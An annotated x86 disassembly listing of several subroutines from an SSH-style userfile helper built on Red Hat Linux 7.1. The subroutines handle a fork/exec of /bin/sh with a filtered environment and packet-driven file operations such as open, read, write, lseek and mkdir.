0805df9d  e8 4a be fe ff           call    08049dec <strerror>
0805dfa2  5a                       pop     %edx
0805dfa3  59                       pop     %ecx
0805dfa4  50                       push    %eax
0805dfa5  68 40 50 07 08           push    $0x8075040   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                        "userfile_read_raw: child has died: %.100s"
0805dfaa  e8 ad 1f ff ff           call    0804ff5c <Unknown0044>
0805dfaf  83 c4 10                 add     $0x10,%esp
0805dfb2  50                       push    %eax
0805dfb3  56                       push    %esi
0805dfb4  53                       push    %ebx
0805dfb5  68 78 c1 07 08           push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805dfba  01 f7                    add     %esi,%edi
0805dfbc  e8 c3 79 ff ff           call    08055984 <Unknown0117>
```

```
0805dfc1   83 c4 10               add     $0x10,%esp
0805dfc4   3b bd e4 fd ff ff      cmp     0xfffffde4(%ebp),%edi   ;-540 'xe4 xfd xff xff' ""
0805dfca   72 94                  jb      0805df60 <Unknown0270+0x110>
0805dfcc   83 ec 0c               sub     $0xc,%esp
0805dfcf   68 78 c1 07 08         push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805dfd4   e8 83 cb ff ff         call    0805ab5c <Unknown0225>
0805dfd9   8d 65 f4               lea     0xfffffff4(%ebp),%esp
0805dfdc   5b                     pop     %ebx
0805dfdd   5e                     pop     %esi
0805dfde   5f                     pop     %edi
0805dfdf   5d                     pop     %ebp
0805dfe0   c3                     ret
0805dfe1   8d 76 00               lea     0x0(%esi),%esi


   ;
   ; >---------------------<  Subroutine # 271 >---------------------<
   ;
0805dfe4 <Unknown0271>:
0805dfe4   55                     push    %ebp
0805dfe5   89 e5                  mov     %esp,%ebp
0805dfe7   53                     push    %ebx
0805dfe8   51                     push    %ecx
0805dfe9   8b 5d 08               mov     0x8(%ebp),%ebx
0805dfec   e8 5f fe ff ff         call    0805de50 <Unknown0270>
0805dff1   39 d8                  cmp     %ebx,%eax
0805dff3   74 10                  je      0805e005 <Unknown0271+0x21>
0805dff5   52                     push    %edx
0805dff6   53                     push    %ebx
0805dff7   50                     push    %eax
0805dff8   68 c0 50 07 08         push    $0x80750c0   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                          "userfile_read_packet: unexpected packet type: got %d,
                                          expected %d"
0805dffd   e8 5a 1f ff ff         call    0804ff5c <Unknown0044>
0805e002   83 c4 10               add     $0x10,%esp
0805e005   8b 5d fc               mov     0xfffffffc(%ebp),%ebx
0805e008   c9                     leave
0805e009   c3                     ret
0805e00a   89 f6                  mov     %esi,%esi


   ;
   ; >---------------------<  Subroutine # 272 >---------------------<
   ;
0805e00c <Unknown0272>:
0805e00c   55                     push    %ebp
0805e00d   89 e5                  mov     %esp,%ebp
0805e00f   57                     push    %edi
0805e010   56                     push    %esi
0805e011   53                     push    %ebx
0805e012   81 ec 48 03 00 00      sub     $0x348,%esp   ;840 'x48 x3 x0 x0' "H"
0805e018   8d 85 c0 fc ff ff      lea     0xfffffcc0(%ebp),%eax   ;-832 'xc0 xfc xff xff' ""
0805e01e   50                     push    %eax
0805e01f   89 85 bc fc ff ff      mov     %eax,0xfffffcbc(%ebp)   ;-836 'xbc xfc xff xff' ""
0805e025   e8 32 bf fe ff         call    08049f5c <pipe>
0805e02a   83 c4 10               add     $0x10,%esp
0805e02d   85 c0                  test    %eax,%eax
0805e02f   79 20                  jns     0805e051 <Unknown0272+0x45>
0805e031   83 ec 10               sub     $0x10,%esp
0805e034   e8 03 be fe ff         call    08049e3c <__errno_location>
0805e039   5e                     pop     %esi
0805e03a   ff 30                  pushl   (%eax)
0805e03c   e8 ab bd fe ff         call    08049dec <strerror>
0805e041   59                     pop     %ecx
0805e042   5b                     pop     %ebx
0805e043   50                     push    %eax
0805e044   68 02 51 07 08         push    $0x8075102   ;[in .rodata] 1701865840 'x70 x69 x70 x65' "pipe:
                                          %.100s"
0805e049   e8 0e 1f ff ff         call    0804ff5c <Unknown0044>
0805e04e   83 c4 10               add     $0x10,%esp
0805e051   e8 b6 bc fe ff         call    08049d0c <fork>
0805e056   89 c3                  mov     %eax,%ebx
0805e058   85 db                  test    %ebx,%ebx
0805e05a   79 20                  jns     0805e07c <Unknown0272+0x70>
0805e05c   83 ec 10               sub     $0x10,%esp
0805e05f   e8 d8 bd fe ff         call    08049e3c <__errno_location>
0805e064   5a                     pop     %edx
0805e065   ff 30                  pushl   (%eax)
0805e067   e8 80 bd fe ff         call    08049dec <strerror>
0805e06c   5e                     pop     %esi
0805e06d   5f                     pop     %edi
0805e06e   50                     push    %eax
0805e06f   68 0f 51 07 08         push    $0x807510f   ;[in .rodata] 1802661734 'x66 x6f x72 x6b' "fork:
```

```
                                              %.100s"
0805e074  e8 e3 1e ff ff          call    0804ff5c <Unknown0044>
0805e079  83 c4 10                add     $0x10,%esp
0805e07c  85 db                   test    %ebx,%ebx
0805e07e  0f 85 74 02 00 00       jne     0805e2f8 <Unknown0272+0x2ec>  ;628 'x74 x2 x0 x0' "t"
0805e084  83 ec 0c                sub     $0xc,%esp
0805e087  ff 35 6c c1 07 08       pushl   0x807c16c  ;[in .bss] -1878426160 'xd0 x7d x9 x90' ""
0805e08d  e8 4a bc fe ff          call    08049cdc <close>
0805e092  5b                      pop     %ebx
0805e093  ff 35 68 c1 07 08       pushl   0x807c168  ;[in .bss] 968896780 'xc x31 xc0 x39' ""
0805e099  e8 3e bc fe ff          call    08049cdc <close>
0805e09e  8b 55 0c                mov     0xc(%ebp),%edx
0805e0a1  83 c4 10                add     $0x10,%esp
0805e0a4  80 3a 72                cmpb    $0x72,(%edx)
0805e0a7  75 23                   jne     0805e0cc <Unknown0272+0xc0>
0805e0a9  83 ec 08                sub     $0x8,%esp
0805e0ac  6a 01                   push    $0x1
0805e0ae  ff b5 c4 fc ff ff       pushl   0xfffffcc4(%ebp)  ;-828 'xc4 xfc xff xff' ""
0805e0b4  e8 d3 c0 fe ff          call    0804a18c <dup2>
0805e0b9  83 c4 10                add     $0x10,%esp
0805e0bc  85 c0                   test    %eax,%eax
0805e0be  79 33                   jns     0805e0f3 <Unknown0272+0xe7>
0805e0c0  83 ec 0c                sub     $0xc,%esp
0805e0c3  68 1c 51 07 08          push    $0x807511c  ;[in .rodata] 846230884 'x64 x75 x70 x32' "dup2 1"
0805e0c8  eb 21                   jmp     0805e0eb <Unknown0272+0xdf>
0805e0ca  89 f6                   mov     %esi,%esi
0805e0cc  83 ec 08                sub     $0x8,%esp
0805e0cf  6a 00                   push    $0x0
0805e0d1  ff b5 c0 fc ff ff       pushl   0xfffffcc0(%ebp)  ;-832 'xc0 xfc xff xff' ""
0805e0d7  e8 b0 c0 fe ff          call    0804a18c <dup2>
0805e0dc  83 c4 10                add     $0x10,%esp
0805e0df  85 c0                   test    %eax,%eax
0805e0e1  79 10                   jns     0805e0f3 <Unknown0272+0xe7>
0805e0e3  83 ec 0c                sub     $0xc,%esp
0805e0e6  68 23 51 07 08          push    $0x8075123  ;[in .rodata] 846230884 'x64 x75 x70 x32' "dup2 0"
0805e0eb  e8 fc bb fe ff          call    08049cec <perror>
0805e0f0  83 c4 10                add     $0x10,%esp
0805e0f3  83 ec 0c                sub     $0xc,%esp
0805e0f6  ff b5 c0 fc ff ff       pushl   0xfffffcc0(%ebp)  ;-832 'xc0 xfc xff xff' ""
0805e0fc  e8 db bb fe ff          call    08049cdc <close>
0805e101  59                      pop     %ecx
0805e102  8b 85 bc fc ff ff       mov     0xfffffcbc(%ebp),%eax  ;-836 'xbc xfc xff xff' ""
0805e108  ff 70 04                pushl   0x4(%eax)
0805e10b  e8 cc bb fe ff          call    08049cdc <close>
0805e110  8b 45 08                mov     0x8(%ebp),%eax
0805e113  c7 85 58 fe ff ff 2a 51 07 08  movl  $0x807512a,0xfffffe58(%ebp)  ;[in .rodata] 1852400175 'x2f
                                                                              x62 x69 x6e' "/bin/sh"
0805e11d  c7 85 5c fe ff ff 32 51 07 08  movl  $0x8075132,0xfffffe5c(%ebp)  ;[in .rodata] 1207984941 'x2d
                                                                              x63 x0 x48' "-c"
0805e127  89 85 60 fe ff ff       mov     %eax,0xfffffe60(%ebp)  ;-416 'x60 xfe xff xff' "`"
0805e12d  c7 85 64 fe ff ff 00 00 00 00  movl  $0x0,0xfffffe64(%ebp)  ;0 'x0 x0 x0 x0' ""
0805e137  8b 1d 04 9c 07 08       mov     0x8079c04,%ebx  ;[in .bss] 1193812026 'x3a x20 x28 x47' ": (GNU)
                                                                   2.96 20000731 (Red Hat Linux 7.1 2.96-79)"
0805e13d  8b 13                   mov     (%ebx),%edx
0805e13f  31 ff                   xor     %edi,%edi
0805e141  31 f6                   xor     %esi,%esi
0805e143  83 c4 10                add     $0x10,%esp
0805e146  85 d2                   test    %edx,%edx
0805e148  0f 84 6d 01 00 00       je      0805e2bb <Unknown0272+0x2af>  ;365 'x6d x1 x0 x0' "m"
0805e14e  89 f6                   mov     %esi,%esi
0805e150  50                      push    %eax
0805e151  6a 05                   push    $0x5
0805e153  68 35 51 07 08          push    $0x8075135  ;[in .rodata] 1162694472 'x48 x4f x4d x45' "HOME="
0805e158  ff 34 b3                pushl   (%ebx,%esi,4)
0805e15b  e8 bc bf fe ff          call    0804a11c <strncmp>
0805e160  83 c4 10                add     $0x10,%esp
0805e163  85 c0                   test    %eax,%eax
0805e165  0f 84 2c 01 00 00       je      0805e297 <Unknown0272+0x28b>  ;300 'x2c x1 x0 x0' ","
0805e16b  51                      push    %ecx
0805e16c  6a 05                   push    $0x5
0805e16e  68 3b 51 07 08          push    $0x807513b  ;[in .rodata] 1380275029 'x55 x53 x45 x52' "USER="
0805e173  ff 34 b3                pushl   (%ebx,%esi,4)
0805e176  e8 a1 bf fe ff          call    0804a11c <strncmp>
0805e17b  83 c4 10                add     $0x10,%esp
0805e17e  85 c0                   test    %eax,%eax
0805e180  0f 84 11 01 00 00       je      0805e297 <Unknown0272+0x28b>  ;273 'x11 x1 x0 x0' ""
0805e186  52                      push    %edx
0805e187  6a 05                   push    $0x5
0805e189  68 35 51 07 08          push    $0x8075135  ;[in .rodata] 1162694472 'x48 x4f x4d x45' "HOME="
0805e18e  ff 34 b3                pushl   (%ebx,%esi,4)
0805e191  e8 86 bf fe ff          call    0804a11c <strncmp>
0805e196  83 c4 10                add     $0x10,%esp
0805e199  85 c0                   test    %eax,%eax
```

```
0805e19b  0f 84 f6 00 00 00       je       0805e297 <Unknown0272+0x28b>  ;246 'xf6 x0 x0 x0' ""
0805e1a1  50                      push     %eax
0805e1a2  6a 05                   push     $0x5
0805e1a4  68 41 51 07 08          push     $0x8075141  ;[in .rodata] 1213481296 'x50 x41 x54 x48' "PATH="
0805e1a9  ff 34 b3                pushl    (%ebx,%esi,4)
0805e1ac  e8 6b bf fe ff          call     0804a11c <strncmp>
0805e1b1  83 c4 10                add      $0x10,%esp
0805e1b4  85 c0                   test     %eax,%eax
0805e1b6  0f 84 db 00 00 00       je       0805e297 <Unknown0272+0x28b>  ;219 'xdb x0 x0 x0' ""
0805e1bc  51                      push     %ecx
0805e1bd  6a 08                   push     $0x8
0805e1bf  68 47 51 07 08          push     $0x8075147  ;[in .rodata] 1313296204 'x4c x4f x47 x4e' "LOGNAME="
0805e1c4  ff 34 b3                pushl    (%ebx,%esi,4)
0805e1c7  e8 50 bf fe ff          call     0804a11c <strncmp>
0805e1cc  83 c4 10                add      $0x10,%esp
0805e1cf  85 c0                   test     %eax,%eax
0805e1d1  0f 84 c0 00 00 00       je       0805e297 <Unknown0272+0x28b>  ;192 'xc0 x0 x0 x0' ""
0805e1d7  52                      push     %edx
0805e1d8  6a 03                   push     $0x3
0805e1da  68 50 51 07 08          push     $0x8075150  ;[in .rodata] 4020820 'x54 x5a x3d x0' "TZ="
0805e1df  ff 34 b3                pushl    (%ebx,%esi,4)
0805e1e2  e8 35 bf fe ff          call     0804a11c <strncmp>
0805e1e7  83 c4 10                add      $0x10,%esp
0805e1ea  85 c0                   test     %eax,%eax
0805e1ec  0f 84 a5 00 00 00       je       0805e297 <Unknown0272+0x28b>  ;165 'xa5 x0 x0 x0' ""
0805e1f2  50                      push     %eax
0805e1f3  6a 05                   push     $0x5
0805e1f5  68 54 51 07 08          push     $0x8075154  ;[in .rodata] 1279869261 'x4d x41 x49 x4c' "MAIL="
0805e1fa  ff 34 b3                pushl    (%ebx,%esi,4)
0805e1fd  e8 1a bf fe ff          call     0804a11c <strncmp>
0805e202  83 c4 10                add      $0x10,%esp
0805e205  85 c0                   test     %eax,%eax
0805e207  0f 84 8a 00 00 00       je       0805e297 <Unknown0272+0x28b>  ;138 'x8a x0 x0 x0' ""
0805e20d  51                      push     %ecx
0805e20e  6a 06                   push     $0x6
0805e210  68 5a 51 07 08          push     $0x807515a  ;[in .rodata] 1279608915 'x53 x48 x45 x4c' "SHELL="
0805e215  ff 34 b3                pushl    (%ebx,%esi,4)
0805e218  e8 ff be fe ff          call     0804a11c <strncmp>
0805e21d  83 c4 10                add      $0x10,%esp
0805e220  85 c0                   test     %eax,%eax
0805e222  74 73                   je       0805e297 <Unknown0272+0x28b>
0805e224  52                      push     %edx
0805e225  6a 05                   push     $0x5
0805e227  68 61 51 07 08          push     $0x8075161  ;[in .rodata] 1297237332 'x54 x45 x52 x4d' "TERM="
0805e22c  ff 34 b3                pushl    (%ebx,%esi,4)
0805e22f  e8 e8 be fe ff          call     0804a11c <strncmp>
0805e234  83 c4 10                add      $0x10,%esp
0805e237  85 c0                   test     %eax,%eax
0805e239  74 5c                   je       0805e297 <Unknown0272+0x28b>
0805e23b  50                      push     %eax
0805e23c  6a 08                   push     $0x8
0805e23e  68 67 51 07 08          push     $0x8075167  ;[in .rodata] 1347635524 'x44 x49 x53 x50' "DISPLAY="
0805e243  ff 34 b3                pushl    (%ebx,%esi,4)
0805e246  e8 d1 be fe ff          call     0804a11c <strncmp>
0805e24b  83 c4 10                add      $0x10,%esp
0805e24e  85 c0                   test     %eax,%eax
0805e250  74 45                   je       0805e297 <Unknown0272+0x28b>
0805e252  51                      push     %ecx
0805e253  6a 08                   push     $0x8
0805e255  68 70 51 07 08          push     $0x8075170  ;[in .rodata] 1313428048 'x50 x52 x49 x4e' "PRINTER="
0805e25a  ff 34 b3                pushl    (%ebx,%esi,4)
0805e25d  e8 ba be fe ff          call     0804a11c <strncmp>
0805e262  83 c4 10                add      $0x10,%esp
0805e265  85 c0                   test     %eax,%eax
0805e267  74 2e                   je       0805e297 <Unknown0272+0x28b>
0805e269  52                      push     %edx
0805e26a  6a 0b                   push     $0xb
0805e26c  68 79 51 07 08          push     $0x8075179  ;[in .rodata] 1414873432 'x58 x41 x55 x54'
                                                        "XAUTHORITY="
0805e271  ff 34 b3                pushl    (%ebx,%esi,4)
0805e274  e8 a3 be fe ff          call     0804a11c <strncmp>
0805e279  83 c4 10                add      $0x10,%esp
0805e27c  85 c0                   test     %eax,%eax
0805e27e  74 17                   je       0805e297 <Unknown0272+0x28b>
0805e280  50                      push     %eax
0805e281  6a 08                   push     $0x8
0805e283  68 85 51 07 08          push     $0x8075185  ;[in .rodata] 1297237332 'x54 x45 x52 x4d' "TERMCAP="
0805e288  ff 34 b3                pushl    (%ebx,%esi,4)
0805e28b  e8 8c be fe ff          call     0804a11c <strncmp>
0805e290  83 c4 10                add      $0x10,%esp
0805e293  85 c0                   test     %eax,%eax
0805e295  75 13                   jne      0805e2aa <Unknown0272+0x29e>
0805e297  8b 04 b3                mov      (%ebx,%esi,4),%eax
0805e29a  8d 95 c8 fc ff ff       lea      0xffffffcc8(%ebp),%edx  ;-824 'xc8 xfc xff xff' ""
```

```
0805e2a0   89 04 ba              mov    %eax,(%edx,%edi,4)
0805e2a3   8b 1d 04 9c 07 08     mov    0x8079c04,%ebx   ;[in .bss] 1193812026 'x3a x20 x28 x47' ": (GNU)
                                                               2.96 20000731 (Red Hat Linux 7.1 2.96-79)"
0805e2a9   47                    inc    %edi
0805e2aa   46                    inc    %esi
0805e2ab   8b 0c b3              mov    (%ebx,%esi,4),%ecx
0805e2ae   85 c9                 test   %ecx,%ecx
0805e2b0   74 09                 je     0805e2bb <Unknown0272+0x2af>
0805e2b2   83 ff 62              cmp    $0x62,%edi
0805e2b5   0f 86 95 fe ff ff     jbe    0805e150 <Unknown0272+0x144>   ;-363 'x95 xfe xff xff' ""
0805e2bb   8d 85 c8 fc ff ff     lea    0xfffffcc8(%ebp),%eax   ;-824 'xc8 xfc xff xff' ""
0805e2c1   c7 04 b8 00 00 00 00  movl   $0x0,(%eax,%edi,4)   ;0 'x0 x0 x0 x0' ""
0805e2c8   52                    push   %edx
0805e2c9   50                    push   %eax
0805e2ca   8d 85 58 fe ff ff     lea    0xfffffe58(%ebp),%eax   ;-424 'x58 xfe xff xff' "X"
0805e2d0   50                    push   %eax
0805e2d1   68 2a 51 07 08        push   $0x807512a   ;[in .rodata] 1852400175 'x2f x62 x69 x6e' "/bin/sh"
0805e2d6   e8 41 bb fe ff        call   08049e1c <execve>
0805e2db   e8 5c bb fe ff        call   08049e3c <__errno_location>
0805e2e0   5f                    pop    %edi
0805e2e1   ff 30                 pushl  (%eax)
0805e2e3   e8 04 bb fe ff        call   08049dec <strerror>
0805e2e8   5b                    pop    %ebx
0805e2e9   5e                    pop    %esi
0805e2ea   50                    push   %eax
0805e2eb   68 8e 51 07 08        push   $0x807518e   ;[in .rodata] 1667594341 'x65 x78 x65 x63' "execv
                                                               /bin/sh failed: %.100s"
0805e2f0   e8 67 1c ff ff        call   0804ff5c <Unknown0044>
0805e2f5   83 c4 10              add    $0x10,%esp
0805e2f8   8b 55 0c              mov    0xc(%ebp),%edx
0805e2fb   80 3a 72              cmpb   $0x72,(%edx)
0805e2fe   75 1c                 jne    0805e31c <Unknown0272+0x310>
0805e300   83 ec 0c              sub    $0xc,%esp
0805e303   8b 85 bc fc ff ff     mov    0xfffffcbc(%ebp),%eax   ;-836 'xbc xfc xff xff' ""
0805e309   ff 70 04              pushl  0x4(%eax)
0805e30c   e8 cb b9 fe ff        call   08049cdc <close>
0805e311   8b 85 c0 fc ff ff     mov    0xfffffcc0(%ebp),%eax   ;-832 'xc0 xfc xff xff' ""
0805e317   eb 1a                 jmp    0805e333 <Unknown0272+0x327>
0805e319   8d 76 00              lea    0x0(%esi),%esi
0805e31c   83 ec 0c              sub    $0xc,%esp
0805e31f   ff b5 c0 fc ff ff     pushl  0xfffffcc0(%ebp)   ;-832 'xc0 xfc xff xff' ""
0805e325   e8 b2 b9 fe ff        call   08049cdc <close>
0805e32a   8b 95 bc fc ff ff     mov    0xfffffcbc(%ebp),%edx   ;-836 'xbc xfc xff xff' ""
0805e330   8b 42 04              mov    0x4(%edx),%eax
0805e333   8d 65 f4              lea    0xfffffff4(%ebp),%esp
0805e336   5b                    pop    %ebx
0805e337   5e                    pop    %esi
0805e338   5f                    pop    %edi
0805e339   5d                    pop    %ebp
0805e33a   c3                    ret
0805e33b   90                    nop


   ;
   ; >---------------------<  Subroutine # 273 >---------------------<
   ;
0805e33c <Unknown0273>:
0805e33c   55                    push   %ebp
0805e33d   89 e5                 mov    %esp,%ebp
0805e33f   57                    push   %edi
0805e340   56                    push   %esi
0805e341   53                    push   %ebx
0805e342   81 ec 7c 20 00 00     sub    $0x207c,%esp   ;8316 'x7c x20 x0 x0' "| "
0805e348   8d 85 84 df ff ff     lea    0xffffdf84(%ebp),%eax   ;-8316 'x84 xdf xff xff' ""
0805e34e   89 85 80 df ff ff     mov    %eax,0xffffdf80(%ebp)   ;-8320 'x80 xdf xff xff' ""
0805e354   e8 f7 fa ff ff        call   0805de50 <Unknown0270>
0805e359   8d 50 ff              lea    0xffffffff(%eax),%edx
0805e35c   83 fa 14              cmp    $0x14,%edx
0805e35f   0f 87 5b 03 00 00     ja     0805e6c0 <Unknown0273+0x384>   ;859 'x5b x3 x0 x0' "["
0805e365   ff 24 95 f0 51 07 08  jmp    *0x80751f0(,%edx,4)   ;[in .rodata] 134603628 'x6c xe3 x5 x8' "l"
0805e36c   83 ec 08              sub    $0x8,%esp
0805e36f   6a 00                 push   $0x0
0805e371   68 78 c1 07 08        push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e376   e8 45 c7 ff ff        call   0805aac0 <Unknown0223>
0805e37b   89 c7                 mov    %eax,%edi
0805e37d   c7 04 24 78 c1 07 08  movl   $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e384   e8 b7 c6 ff ff        call   0805aa40 <Unknown0221>
0805e389   89 c3                 mov    %eax,%ebx
0805e38b   c7 04 24 78 c1 07 08  movl   $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e392   e8 a9 c6 ff ff        call   0805aa40 <Unknown0221>
0805e397   83 c4 0c              add    $0xc,%esp
0805e39a   50                    push   %eax
0805e39b   53                    push   %ebx
0805e39c   57                    push   %edi
```

```
0805e39d   e8 5a bf fe ff          call    0804a2fc <open>
0805e3a2   89 c6                   mov     %eax,%esi
0805e3a4   c7 04 24 02 00 00 00    movl    $0x2,(%esp,1)   ;2 'x2 x0 x0 x0' ""
0805e3ab   e8 54 f9 ff ff          call    0805dd04 <Unknown0268>
0805e3b0   59                      pop     %ecx
0805e3b1   5b                      pop     %ebx
0805e3b2   56                      push    %esi
0805e3b3   68 78 c1 07 08          push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e3b8   e8 bb c6 ff ff          call    0805aa78 <Unknown0222>
0805e3bd   e8 8a f9 ff ff          call    0805dd4c <Unknown0269>
0805e3c2   e9 67 02 00 00          jmp     0805e62e <Unknown0273+0x2f2>   ;615 'x67 x2 x0 x0' "g"
0805e3c7   90                      nop
0805e3c8   83 ec 0c                sub     $0xc,%esp
0805e3cb   68 78 c1 07 08          push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e3d0   e8 6b c6 ff ff          call    0805aa40 <Unknown0221>
0805e3d5   c7 04 24 78 c1 07 08    movl    $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e3dc   89 c6                   mov     %eax,%esi
0805e3de   e8 5d c6 ff ff          call    0805aa40 <Unknown0221>
0805e3e3   83 c4 10                add     $0x10,%esp
0805e3e6   3d ff 1f 00 00          cmp     $0x1fff,%eax   ;8191 'xff x1f x0 x0' ""
0805e3eb   76 05                   jbe     0805e3f2 <Unknown0273+0xb6>
0805e3ed   b8 00 20 00 00          mov     $0x2000,%eax   ;8192 'x0 x20 x0 x0' ""
0805e3f2   52                      push    %edx
0805e3f3   50                      push    %eax
0805e3f4   8d 9d e8 df ff ff       lea     0xffffdfe8(%ebp),%ebx   ;-8216 'xe8 xdf xff xff' ""
0805e3fa   53                      push    %ebx
0805e3fb   56                      push    %esi
0805e3fc   e8 ab c0 fe ff          call    0804a4ac <read>
0805e401   89 c6                   mov     %eax,%esi
0805e403   c1 e8 1f                shr     $0x1f,%eax
0805e406   48                      dec     %eax
0805e407   21 c6                   and     %eax,%esi
0805e409   c7 04 24 04 00 00 00    movl    $0x4,(%esp,1)   ;4 'x4 x0 x0 x0' ""
0805e410   e8 ef f8 ff ff          call    0805dd04 <Unknown0268>
0805e415   83 c4 0c                add     $0xc,%esp
0805e418   56                      push    %esi
0805e419   53                      push    %ebx
0805e41a   68 78 c1 07 08          push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e41f   e8 04 c7 ff ff          call    0805ab28 <Unknown0224>
0805e424   e9 5c 02 00 00          jmp     0805e685 <Unknown0273+0x349>   ;604 'x5c x2 x0 x0' "\"
0805e429   8d 76 00                lea     0x0(%esi),%esi
0805e42c   83 ec 0c                sub     $0xc,%esp
0805e42f   68 78 c1 07 08          push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e434   e8 07 c6 ff ff          call    0805aa40 <Unknown0221>
0805e439   5f                      pop     %edi
0805e43a   89 c6                   mov     %eax,%esi
0805e43c   58                      pop     %eax
0805e43d   ff b5 80 df ff ff       pushl   0xffffdf80(%ebp)   ;-8320 'x80 xdf xff xff' ""
0805e443   68 78 c1 07 08          push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e448   e8 73 c6 ff ff          call    0805aac0 <Unknown0223>
0805e44d   83 c4 0c                add     $0xc,%esp
0805e450   ff b5 84 df ff ff       pushl   0xffffdf84(%ebp)   ;-8316 'x84 xdf xff xff' ""
0805e456   89 c7                   mov     %eax,%edi
0805e458   57                      push    %edi
0805e459   56                      push    %esi
0805e45a   e8 4d b8 fe ff          call    08049cac <write>
0805e45f   89 c6                   mov     %eax,%esi
0805e461   c7 04 24 06 00 00 00    movl    $0x6,(%esp,1)   ;6 'x6 x0 x0 x0' ""
0805e468   e8 97 f8 ff ff          call    0805dd04 <Unknown0268>
0805e46d   59                      pop     %ecx
0805e46e   5b                      pop     %ebx
0805e46f   56                      push    %esi
0805e470   68 78 c1 07 08          push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e475   e8 fe c5 ff ff          call    0805aa78 <Unknown0222>
0805e47a   e8 cd f8 ff ff          call    0805dd4c <Unknown0269>
0805e47f   e9 aa 01 00 00          jmp     0805e62e <Unknown0273+0x2f2>   ;426 'xaa x1 x0 x0' ""
0805e484   83 ec 0c                sub     $0xc,%esp
0805e487   68 78 c1 07 08          push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e48c   e8 af c5 ff ff          call    0805aa40 <Unknown0221>
0805e491   89 c6                   mov     %eax,%esi
0805e493   89 34 24                mov     %esi,(%esp,1)
0805e496   e8 41 b8 fe ff          call    08049cdc <close>
0805e49b   89 c6                   mov     %eax,%esi
0805e49d   c7 04 24 08 00 00 00    movl    $0x8,(%esp,1)   ;8 'x8 x0 x0 x0' ""
0805e4a4   e8 5b f8 ff ff          call    0805dd04 <Unknown0268>
0805e4a9   58                      pop     %eax
0805e4aa   5a                      pop     %edx
0805e4ab   e9 ca 01 00 00          jmp     0805e67a <Unknown0273+0x33e>   ;458 'xca x1 x0 x0' ""
0805e4b0   83 ec 0c                sub     $0xc,%esp
0805e4b3   68 78 c1 07 08          push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e4b8   e8 83 c5 ff ff          call    0805aa40 <Unknown0221>
0805e4bd   89 c6                   mov     %eax,%esi
0805e4bf   c7 04 24 78 c1 07 08    movl    $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e4c6   e8 75 c5 ff ff          call    0805aa40 <Unknown0221>
```

```
0805e4cb  89 c3                    mov     %eax,%ebx
0805e4cd  c7 04 24 78 c1 07 08     movl    $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e4d4  e8 67 c5 ff ff           call    0805aa40 <Unknown0221>
0805e4d9  83 c4 0c                 add     $0xc,%esp
0805e4dc  50                       push    %eax
0805e4dd  53                       push    %ebx
0805e4de  56                       push    %esi
0805e4df  e8 38 bd fe ff           call    0804a21c <lseek>
0805e4e4  89 c6                    mov     %eax,%esi
0805e4e6  c7 04 24 0a 00 00 00     movl    $0xa,(%esp,1)   ;10 'xa x0 x0 x0' ""
0805e4ed  e8 12 f8 ff ff           call    0805dd04 <Unknown0268>
0805e4f2  5b                       pop     %ebx
0805e4f3  5f                       pop     %edi
0805e4f4  e9 81 01 00 00           jmp     0805e67a <Unknown0273+0x33e>   ;385 'x81 x1 x0 x0' ""
0805e4f9  8d 76 00                 lea     0x0(%esi),%esi
0805e4fc  83 ec 08                 sub     $0x8,%esp
0805e4ff  6a 00                    push    $0x0
0805e501  68 78 c1 07 08           push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e506  e8 b5 c5 ff ff           call    0805aac0 <Unknown0223>
0805e50b  89 c7                    mov     %eax,%edi
0805e50d  c7 04 24 78 c1 07 08     movl    $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e514  e8 27 c5 ff ff           call    0805aa40 <Unknown0221>
0805e519  5a                       pop     %edx
0805e51a  59                       pop     %ecx
0805e51b  50                       push    %eax
0805e51c  57                       push    %edi
0805e51d  e8 ea b6 fe ff           call    08049c0c <mkdir>
0805e522  89 c6                    mov     %eax,%esi
0805e524  c7 04 24 0c 00 00 00     movl    $0xc,(%esp,1)   ;12 'xc x0 x0 x0' ""
0805e52b  e8 d4 f7 ff ff           call    0805dd04 <Unknown0268>
0805e530  5b                       pop     %ebx
0805e531  58                       pop     %eax
0805e532  56                       push    %esi
0805e533  68 78 c1 07 08           push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e538  e8 3b c5 ff ff           call    0805aa78 <Unknown0222>
0805e53d  e8 0a f8 ff ff           call    0805dd4c <Unknown0269>
0805e542  e9 e7 00 00 00           jmp     0805e62e <Unknown0273+0x2f2>   ;231 'xe7 x0 x0 x0' ""
0805e547  90                       nop
0805e548  83 ec 08                 sub     $0x8,%esp
0805e54b  6a 00                    push    $0x0
0805e54d  68 78 c1 07 08           push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e552  e8 69 c5 ff ff           call    0805aac0 <Unknown0223>
0805e557  83 c4 0c                 add     $0xc,%esp
0805e55a  8d 9d 88 df ff ff        lea     0xffffdf88(%ebp),%ebx   ;-8312 'x88 xdf xff xff' ""
0805e560  53                       push    %ebx
0805e561  89 c7                    mov     %eax,%edi
0805e563  57                       push    %edi
0805e564  6a 03                    push    $0x3
0805e566  e8 c1 ba fe ff           call    0804a02c <__xstat>
0805e56b  89 c6                    mov     %eax,%esi
